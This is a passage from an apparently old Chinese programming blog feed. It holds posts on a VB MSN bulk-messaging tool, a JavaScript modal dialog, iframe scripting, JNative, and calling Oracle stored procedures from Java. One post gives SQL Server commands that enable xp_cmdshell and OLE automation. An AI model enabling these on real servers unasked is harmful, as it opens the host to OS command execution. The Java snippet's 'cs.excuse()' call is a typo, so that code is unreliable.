End Sub &lt;br&gt;　　Private Sub Command2_Click() &lt;br&gt;　　Unload Me &lt;br&gt;　　End &lt;br&gt;　　End Sub &lt;br&gt;　　'初始化控件 &lt;br&gt;　　Private Sub Form_Load() &lt;br&gt;　　Dim i As Integer &lt;br&gt;　　'初始化发送对象的下拉框 &lt;br&gt;　　Set m_Groups = m_MSG.MyGroups &lt;br&gt;　　With Combo1 &lt;br&gt;　　.AddItem "全部的组" &lt;br&gt;　　For i = 0 To m_Groups.Count - 1 &lt;br&gt;　　Set m_Group = m_Groups.Item(i) &lt;br&gt;　　.AddItem m_Group.Name &lt;br&gt;　　Next i &lt;br&gt;　　.ListIndex = 0 &lt;br&gt;　　End With &lt;br&gt;　　End Sub &lt;br&gt;　　'释放变量 &lt;br&gt;　　Private Sub Form_Unload(Cancel As Integer) &lt;br&gt;　　Set m_MSG = Nothing &lt;br&gt;　　Set m_Groups = Nothing &lt;br&gt;　　Set m_Group = Nothing &lt;br&gt;　　Set m_Contracts = Nothing &lt;br&gt;　　Set m_Contract = Nothing &lt;br&gt;　　End Sub&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　第五步：编译运行。选择“文件”菜单的生成“工程1.exe”菜单项，一个属于你的MSN信息群发软件就完成了。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=104</guid><pubDate>Thu, 20 Sep 2007 10:31:00 GMT</pubDate></item><item><title>[WEB]用JS弹出网页对话框后，让后面那一层变灰。</title><link>http://www.chendw.cn:8080/view.aspx?id=103</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&amp;lt;html&amp;gt;&lt;br&gt;&amp;lt;head&amp;gt;&lt;br&gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&lt;br&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&amp;gt;&lt;br&gt;&amp;lt;style type="text/css"&amp;gt;&lt;br&gt;*{margin:0;padding:0;}&lt;br&gt;&amp;lt;/style&amp;gt;&lt;br&gt;&amp;lt;/head&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;body&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;测试&amp;lt;/p&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="button" value="点击这里" onclick="sAlert('测试效果&amp;lt;br/&amp;gt;嗯！效果还不错！');" /&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;script type="text/javascript" language="javascript"&amp;gt;&lt;br&gt;function sAlert(str){&lt;br&gt;&amp;nbsp;&amp;nbsp; var msgw,msgh,bordercolor;&lt;br&gt;&amp;nbsp;&amp;nbsp; msgw=400;//提示窗口的宽度&lt;br&gt;&amp;nbsp;&amp;nbsp; msgh=100;//提示窗口的高度&lt;br&gt;&amp;nbsp;&amp;nbsp; titleheight=25 //提示窗口标题高度&lt;br&gt;&amp;nbsp;&amp;nbsp; bordercolor="#336699";//提示窗口的边框颜色&lt;br&gt;&amp;nbsp;&amp;nbsp; titlecolor="#99CCFF";//提示窗口的标题颜色&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; var sWidth,sHeight;&lt;br&gt;&amp;nbsp;&amp;nbsp; sWidth=document.body.offsetWidth;//浏览器工作区域内页面宽度&lt;br&gt;&amp;nbsp;&amp;nbsp; sHeight=screen.height;//屏幕高度（垂直分辨率）&lt;/p&gt;&lt;p&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; //背景层（大小与窗口有效区域相同，即当弹出对话框时，背景显示为放射状透明灰色）&lt;br&gt;&amp;nbsp;&amp;nbsp; var bgObj=document.createElement("div");//创建一个div对象（背景层）&lt;br&gt;&amp;nbsp;&amp;nbsp; //定义div属性，即相当于&lt;br&gt;&amp;nbsp;&amp;nbsp; //&amp;lt;div id="bgDiv" style="position:absolute; top:0; background-color:#777; filter:progid:DXImagesTransform.Microsoft.Alpha(style=3,opacity=25,finishOpacity=75); opacity:0.6; left:0; width:918px; height:768px; z-index:10000;"&amp;gt;&amp;lt;/div&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.setAttribute('id','bgDiv');&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.position="absolute";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.top="0";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.background="#777";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.filter="progid:DXImageTransform.Microsoft.Alpha(style=3,opacity=25,finishOpacity=75";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.opacity="0.6";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.left="0";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.width=sWidth + "px";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.height=sHeight + "px";&lt;br&gt;&amp;nbsp;&amp;nbsp; bgObj.style.zIndex = "10000";&lt;br&gt;&amp;nbsp;&amp;nbsp; document.body.appendChild(bgObj);//在body内添加该div对象&lt;/p&gt;&lt;p&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; var msgObj=document.createElement("div")//创建一个div对象（提示框层）&lt;br&gt;&amp;nbsp;&amp;nbsp; //定义div属性，即相当于&lt;br&gt;&amp;nbsp;&amp;nbsp; //&amp;lt;div id="msgDiv" align="center" style="background-color:white; border:1px solid #336699; position:absolute; left:50%; top:50%; font:12px/1.6em Verdana,Geneva,Arial,Helvetica,sans-serif; margin-left:-225px; margin-top:npx; width:400px; height:100px; text-align:center; line-height:25px; z-index:100001;"&amp;gt;&amp;lt;/div&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.setAttribute("id","msgDiv");&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.setAttribute("align","center");&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.background="white";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.border="1px solid " + bordercolor;&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.position = "absolute";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.left = "50%";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.top = "50%";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.font="12px/1.6em Verdana, Geneva, Arial, Helvetica, sans-serif";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.marginLeft = "-225px" ;&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.marginTop = -75+document.documentElement.scrollTop+"px";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.width = msgw + "px";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.height =msgh + "px";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.textAlign = "center";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.lineHeight ="25px";&lt;br&gt;&amp;nbsp;&amp;nbsp; msgObj.style.zIndex = "10001";&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp; var title=document.createElement("h4");//创建一个h4对象（提示框标题栏）&lt;br&gt;&amp;nbsp;&amp;nbsp; //定义h4的属性，即相当于&lt;br&gt;&amp;nbsp;&amp;nbsp; //&amp;lt;h4 id="msgTitle" align="right" style="margin:0; padding:3px; background-color:#336699; filter:progid:DXImageTransform.Microsoft.Alpha(startX=20, startY=20, finishX=100, finishY=100,style=1,opacity=75,finishOpacity=100); opacity:0.75; border:1px solid #336699; height:18px; font:12px Verdana,Geneva,Arial,Helvetica,sans-serif; color:white; cursor:pointer;" onclick=""&amp;gt;关闭&amp;lt;/h4&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; title.setAttribute("id","msgTitle");&lt;br&gt;&amp;nbsp;&amp;nbsp; title.setAttribute("align","right");&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.margin="0";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.padding="3px";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.background=bordercolor;&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.filter="progid:DXImageTransform.Microsoft.Alpha(startX=20, startY=20, finishX=100, finishY=100,style=1,opacity=75,finishOpacity=100);";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.opacity="0.75";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.border="1px solid " + bordercolor;&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.height="18px";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.font="12px Verdana, Geneva, Arial, Helvetica, sans-serif";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.color="white";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.style.cursor="pointer";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.innerHTML="关闭";&lt;br&gt;&amp;nbsp;&amp;nbsp; title.onclick=removeObj;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; var button=document.createElement("input");//创建一个input对象（提示框按钮）&lt;br&gt;&amp;nbsp;&amp;nbsp; //定义input的属性，即相当于&lt;br&gt;&amp;nbsp;&amp;nbsp; //&amp;lt;input type="button" align="center" style="width:100px; align:center; margin-left:250px; margin-bottom:10px;" value="关闭"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; button.setAttribute("type","button");&lt;br&gt;&amp;nbsp;&amp;nbsp; button.setAttribute("value","关闭");&lt;br&gt;&amp;nbsp;&amp;nbsp; button.style.width="60px";&lt;br&gt;&amp;nbsp;&amp;nbsp; button.style.align="center";&lt;br&gt;&amp;nbsp;&amp;nbsp; button.style.marginLeft="250px";&lt;br&gt;&amp;nbsp;&amp;nbsp; button.style.marginBottom="10px";&lt;br&gt;&amp;nbsp;&amp;nbsp; button.style.background=bordercolor;&lt;br&gt;&amp;nbsp;&amp;nbsp; button.style.border="1px solid "+ bordercolor;&lt;br&gt;&amp;nbsp;&amp;nbsp; button.style.color="white";&lt;br&gt;&amp;nbsp;&amp;nbsp; button.onclick=removeObj;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp; function removeObj(){//点击标题栏触发的事件&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.body.removeChild(bgObj);//删除背景层Div&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.getElementById("msgDiv").removeChild(title);//删除提示框的标题栏&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.body.removeChild(msgObj);//删除提示框层&lt;br&gt;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp; document.body.appendChild(msgObj);//在body内添加提示框div对象msgObj&lt;br&gt;&amp;nbsp;&amp;nbsp; document.getElementById("msgDiv").appendChild(title);//在提示框div中添加标题栏对象title&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; var txt=document.createElement("p");//创建一个p对象（提示框提示信息）&lt;br&gt;&amp;nbsp;&amp;nbsp; //定义p的属性，即相当于&lt;br&gt;&amp;nbsp;&amp;nbsp; //&amp;lt;p style="margin:1em 0;" id="msgTxt"&amp;gt;测试效果&amp;lt;/p&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; txt.style.margin="1em 0"&lt;br&gt;&amp;nbsp;&amp;nbsp; txt.setAttribute("id","msgTxt");&lt;br&gt;&amp;nbsp;&amp;nbsp; txt.innerHTML=str;//来源于函数调用时的参数值&lt;br&gt;&amp;nbsp;&amp;nbsp; document.getElementById("msgDiv").appendChild(txt);//在提示框div中添加提示信息对象txt&lt;br&gt;&amp;nbsp;&amp;nbsp; document.getElementById("msgDiv").appendChild(button);//在提示框div中添加按钮对象button&lt;br&gt;}&lt;br&gt;&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;/body&amp;gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;br&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=103</guid><pubDate>Tue, 18 Sep 2007 11:13:00 GMT</pubDate></item><item><title>[操作系统]华硕OEM专业版恢复系统盘</title><link>http://www.chendw.cn:8080/view.aspx?id=102</link><description>&lt;div id="blog_text" class="cnt"&gt;地址：&lt;a href="http://benyouhui.it168.com/thread-454781-1-1.html"&gt;http://benyouhui.it168.com/thread-454781-1-1.html&lt;/a&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=102</guid><pubDate>Sat, 28 Mar 2009 12:06:26 GMT</pubDate></item><item><title>[数据库]SQL2005开启选项的一些方法整理</title><link>http://www.chendw.cn:8080/view.aspx?id=101</link><description>&lt;div id="blog_text" class="cnt"&gt;&amp;Oslash;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sql server 2005下开启xp_cmdshell的办法&lt;br&gt;&lt;br&gt;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;&lt;br&gt;&lt;br&gt;&amp;Oslash;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL2005开启'OPENROWSET'支持的方法：&lt;br&gt;&lt;br&gt;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;&lt;br&gt;&lt;br&gt;&amp;Oslash;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL2005开启'sp_oacreate'支持的方法:&lt;br&gt;&lt;br&gt;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;&lt;br&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=101</guid><pubDate>Fri, 14 Sep 2007 03:52:00 GMT</pubDate></item><item><title>[JAVA]JNative Example[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=100</link><description>&lt;div id="blog_text" class="cnt"&gt;package onlyfun.dllcall;&lt;br&gt;&lt;br&gt;import org.xvolks.jnative.JNative;&lt;br&gt;import org.xvolks.jnative.Type;&lt;br&gt;import org.xvolks.jnative.exceptions.NativeException;&lt;br&gt;&lt;br&gt;public class JNativeTest {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static final int messageBox(int parentHandle, String message,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String caption, int buttons) throws NativeException,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IllegalAccessException {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; JNative n = null;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n = new JNative("User32.dll", "MessageBoxA"); // 常量DLL_NAME的值为User32.dll&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // 构造JNative时完成装载User32.dll,并且定位MessageBoxA方法&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.setRetVal(Type.INT); // 指定返回参数的类型&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int i = 0;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.setParameter(i++, Type.INT, "" + parentHandle);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.setParameter(i++, Type.STRING, message);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.setParameter(i++, Type.STRING, caption);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.setParameter(i++, Type.INT, "" + buttons); // 指定位置上的参数类型和值&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.invoke(); // 调用方法&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return Integer.parseInt(n.getRetVal());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } finally {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (n != null)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; n.dispose(); // 记得释放&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static void main(String[] args) throws NativeException, IllegalAccessException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; JNativeTest.messageBox(100,"Hello jnative", "jnativetest", 1);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;br&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=100</guid><pubDate>Thu, 13 Sep 2007 10:24:00 GMT</pubDate></item><item><title>[JScript]iframe 父窗口和子窗口的调用方法</title><link>http://www.chendw.cn:8080/view.aspx?id=99</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;父窗口调用子窗口 &lt;br&gt;iframe_ID.iframe_document_object.object_attribute = attribute_value &lt;br&gt;例子 &lt;br&gt;onClick="iframe_text.myH1.innerText='&lt;a target="_blank" href="http://www.02dz.cn/"&gt;http://www.02dz.cn&lt;/a&gt;';"&lt;br&gt;子窗口调用父窗口 &lt;br&gt;parent.parent_document_object.object_attribute = attribute_value &lt;br&gt;例子 &lt;br&gt;onclick="parent.myH1.innerText='&lt;a target="_blank" href="http://www.02dz.cn/"&gt;http://www.02dz.cn&lt;/a&gt;';" &lt;br&gt;&lt;br&gt;上面在IE下没有问题，但在firefox下不正常。在firefox下，应该是 &lt;br&gt;父窗口调用子窗口 &lt;br&gt;window.frames["iframe_ID"].document.getElementById("iframe_document_object"&amp;shy;).object_attribute = attribute_value &lt;br&gt;例子 &lt;br&gt;window.frames["iframe_text"].document.getElementById("myH1").innerHTML= "&lt;a target="_blank" href="http://www.02dz.cn/"&gt;http://www.02dz.cn&lt;/a&gt;"; &lt;br&gt;子窗口调用父窗口 &lt;br&gt;parent.document.getElementById("parent_document_object").object_attribute = attribute_value &lt;br&gt;例子 &lt;br&gt;parent.document.getElementById("myH1").innerHTML = "&lt;a target="_blank" href="http://www.02dz.cn/"&gt;http://www.02dz.cn&lt;/a&gt;"; &lt;br&gt;&lt;br&gt;子窗口调用父窗口的例子：&lt;br&gt;example.htm:&lt;br&gt;&lt;/p&gt;&lt;div class="UBBPanel"&gt;&lt;div class="UBBTitle"&gt;&lt;img style="MARGIN: 0px 2px -3px 0px" alt="程序代码" src="http://www.02dz.cn/images/code.gif"&gt; 程序代码&lt;/div&gt;&lt;div class="UBBContent"&gt;&lt;br&gt;&amp;lt;html&amp;gt; &lt;br&gt;&amp;lt;body onclick="alert(tt.myH1.innerHTML)"&amp;gt; &lt;br&gt;&amp;lt;Iframe name="tt" src="frame1.htm" width="250" height="200" scrolling="no" frameborder="0"&amp;gt;&amp;lt;/iframe&amp;gt; &lt;br&gt;&amp;lt;h1 id="myH2"&amp;gt;hello,my wife&amp;lt;/h1&amp;gt; &lt;br&gt;&amp;lt;/body&amp;gt; &lt;br&gt;&amp;lt;/html&amp;gt; &lt;br&gt;frame1.htm&lt;br&gt;&lt;br&gt;&amp;lt;body onload="parent.myH2.innerText='hello,my friend';"&amp;gt;&amp;lt;/body&amp;gt;&lt;br&gt;父窗口调用子窗口的例子：&lt;br&gt;exmaple.htm&lt;br&gt;&lt;br&gt;&amp;lt;html&amp;gt; &lt;br&gt;&amp;lt;body onload="test.myH1.innerText='hello,my dear';"&amp;gt; &lt;br&gt;&amp;lt;Iframe src="test.htm" id="test" width="250" height="200" scrolling="no" frameborder="0"&amp;gt;&amp;lt;/iframe&amp;gt; &lt;br&gt;&amp;lt;/body&amp;gt; &lt;br&gt;&amp;lt;/html&amp;gt; &lt;br&gt;&lt;br&gt;test.htm&lt;br&gt;&lt;br&gt;&amp;lt;html&amp;gt; &lt;br&gt;&amp;lt;body&amp;gt; &lt;br&gt;&amp;lt;h1 id="myH1"&amp;gt;hello,my boy&amp;lt;/h1&amp;gt; &lt;br&gt;&amp;lt;/body&amp;gt; &lt;br&gt;&amp;lt;/html&amp;gt; &lt;/div&gt;&lt;div class="UBBContent"&gt;&lt;/div&gt;&lt;div class="UBBContent"&gt;原文地址：&lt;a href="http://www.02dz.cn/Aricle/Show-174.html"&gt;http://www.02dz.cn/Aricle/Show-174.html&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=99</guid><pubDate>Tue, 11 Sep 2007 08:35:00 GMT</pubDate></item><item><title>[JAVA]用java调用oracle存储过程总结 (加详细注释) [原作者：WeiYan]</title><link>http://www.chendw.cn:8080/view.aspx?id=98</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div class="postTitle"&gt;&lt;/div&gt;&lt;div class="postText"&gt;&lt;div&gt;&lt;div class="middleSize"&gt;//1、call＋包名＋存储过程名（传入、传出值用？）&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String str="{call SMSBUSINESS.deleteZhZMember(?,?,?)}";&lt;br&gt;//2、建立连接&lt;br&gt;Connection conn=null;&lt;br&gt;conn=DriverManager.getConnection();&lt;br&gt;//3、使用java.sql.*类&lt;br&gt;CallableStatement cs=conn.prepareCall(str);&lt;br&gt;//4、传入in值&lt;br&gt;cs.setInt(1,id);&lt;br&gt;cs.setInt(2,-2);&lt;br&gt;//5、设置out值&lt;br&gt;cs.registerOutParameter(3,Types.NUMERIC);&lt;br&gt;//6、执行&lt;br&gt;cs.excuse();&lt;br&gt;//7、取出out值&lt;br&gt;int flag=cs.getInt(3);&lt;br&gt;//8、关连接&lt;br&gt;conn.close(); &lt;div class="invisible"&gt;文章引用自：&lt;a target="_blank" href="http://writeblog.csdn.net/Editor/FCKeditor/editor/"&gt;&lt;/a&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;*********************************************************************************************************************&lt;/div&gt;&lt;div&gt;这段时间开始学习写存储过程，主要原因还是因为工作需要吧，本来以为很简单的，但几经挫折，豪气消磨殆尽，但总算搞通了，为了避免后来者少走弯路，特记述与此，同时亦对自己进行鼓励。&lt;/div&gt;&lt;div&gt;一：无返回值的存储过程&lt;/div&gt;&lt;div&gt;存储过程为：&lt;/div&gt;&lt;div&gt;CREATE OR REPLACE PROCEDURE TESTA(PARA1 IN VARCHAR2,PARA2 IN VARCHAR2) AS&lt;/div&gt;&lt;div&gt;BEGIN &lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; INSERT INTO HYQ.B_ID (I_ID,I_NAME) VALUES (PARA1, PARA2);&lt;/span&gt;&lt;/div&gt;&lt;div&gt;END TESTA;&lt;/div&gt;&lt;div&gt;然后呢，在java里调用时就用下面的代码：&lt;/div&gt;&lt;div&gt;package com.hyq.src;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;import java.sql.*;&lt;/div&gt;&lt;div&gt;import java.sql.ResultSet;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;public class TestProcedureOne {&lt;/div&gt;&lt;div&gt;public TestProcedureOne() {&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;public static void main(String[] args ){&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String driver = "oracle.jdbc.driver.OracleDriver";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String strUrl = "jdbc:oracle:thin:@127.0.0.1:1521: hyq ";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Statement stmt = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ResultSet rs = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection conn = null;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CallableStatement cstmt = 